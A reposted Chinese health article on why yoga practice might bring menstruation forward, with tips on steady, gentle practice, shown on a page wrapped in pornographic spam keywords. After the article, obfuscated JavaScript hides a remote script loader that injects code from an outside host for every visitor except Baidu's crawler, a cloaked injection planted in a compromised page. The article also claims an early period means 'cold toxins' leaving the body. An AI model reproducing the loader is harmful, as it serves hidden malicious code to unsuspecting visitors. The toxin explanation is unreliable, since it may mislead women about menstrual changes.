久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

練瑜伽月經提前該怎么辦呢?

2017-04-14 16:56:25  來源:360常識網   熱度:
導語:瑜伽深受許多女性的喜愛,因為它不但有美體塑身的效果,關鍵是對于一些肥胖的女性來說,還能很好的起到減肥的功效,預防各種疾病的產生,所

瑜伽深受許多女性的喜愛,因為它不但有美體塑身的效果,關鍵是對于一些肥胖的女性來說,還能很好的起到減肥的功效,預防各種疾病的產生,所以現在練瑜伽的人絡繹不絕,但是有很多女性反應自己在練習一段瑜伽后,月經出現了提前現象,這是怎么回事呢?練習瑜伽都需要注意什么呢?讓小編給大家一一介紹一下吧!

修習瑜伽可以幫助體內毒素的排出,女孩子身體多會被寒氣入侵,尤其是在經期,長期積累下來,平時又不做運動,體內寒毒無法排出,對身體很不好的,出現例假提前,如果不是病理性的原因的話,這種情況是應該是體內寒毒拍出來了,繼續練就會正常的,氣色也會越來越好。還有修習瑜伽要量力而行,不要讓自己太勞累,這樣對身體反而不好。

一、認清目標、持之以恒

只有持之以恒的練習才能收到預期的成效。

現代人生活緊張、雜事纏身,常為意外的牽拌而中斷練習,然而練習的時間其實不在長、而是在專一。每日進行一次,即使時間較短,也比每周進行一次有效得多。

二、不要勉強、不可急燥

做任何姿勢都應該按部就班、順其自然。特別是初學者,千萬不要貪圖快點進步,貿然勉強達成某一種姿勢,一旦適得其反,勢必造成傷害。

三、加強自信、不可灰心

瑜伽的練習是為增進養生、健體,切勿與人較勁,只要自己感覺很好,今天比昨天進步就是勝利。

剛開始進行練習,身體的柔軟度絕對不如自己想象得好,應多給自己一點時間適應,不要輕易灰心,同時可以借助椅子、墻壁等外物支撐,經過一段時間的練習,可逐漸達到平衡后,才放棄輔助工具。

四、一有不舒服,立即停止練習并休息片刻!

在練習當中,一旦感覺不舒服,就應立即停止,并靜躺幾分鐘。

靜躺時,全身盡量放松,雙目閉合,雙足分開,與肩同寬,雙手掌心向上,配合緩慢的深呼吸(運用“意識性呼吸法”先將氣體引至丹田,然后吐氣,切記吐氣應比吸氣長),直到感覺恢復正常,才可以繼續練習;或經專業老師指導后,再開始練習。

五、練習場地不宜太硬或太軟

瑜伽是最不受場地限制的活動之一,無論在家中客廳、臥室、陽臺,或公司辦公室,只要有一個可容全身平躺的空間即可,因此即使是在旅行中也可以自在練習。

但由于瑜伽動作涉及到許多柔軟動作,練習時難免有擠壓肢體、肌肉的狀況,所以應避免在堅硬的地板或太軟的彈簧床上練習,否則容易造成擦傷或因失去重心而受傷。

在月經期間,如果身體抵抗力比較差的話,最好選擇多休息,如果身體素質允許的話,可以練習一些瑜伽,但是需要注意的是,有一些疑難的動作最好不要做,尤其是在例假期間最好不要做倒立式的動作,要根據自己的具體情況來進行練習,不要勉強自己。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 透逼| 一区二区三区日韩 | 日韩在线视频观看 | 毛片入口 | 久久久日韩精品一区二区三区 | 欧美在线网站 | 高清国产一区二区三区 | 中文字幕不卡在线观看 | 久久久123 | 久久久久无码国产精品一区 | 国产欧美一区二区精品婷 | 亚州视频在线 | 免费在线视频精品 | 亚洲综合视频一区 | 亚洲精品一二三四五区 | 色呦呦在线 | 国产在线一区二区三区 | 韩国久久 | 亚洲高清在线观看 | 一区二区三区精品视频 | aaa级片| 毛片黄色 | 久久国产精品视频 | 国产精品一卡二卡三卡 | 亚色在线 | 美女黄色毛片视频 | 国产精品综合 | 久久久免费观看 | 国产精品久久久久久久久久久久久久 | 国产福利电影在线 | 国产精品毛片一区视频播 | 国产羞羞视频在线观看 | 91在线导航 | 中文字幕第一页在线视频 | 忘忧草精品久久久久久久高清 | 国产极品美女高潮无套av个 | 极品美女国产精品免费一区 | 91在线精品一区二区 | 久久久精品久久 | 国产目拍亚洲精品99久久精品 | 国产日韩一区二区 |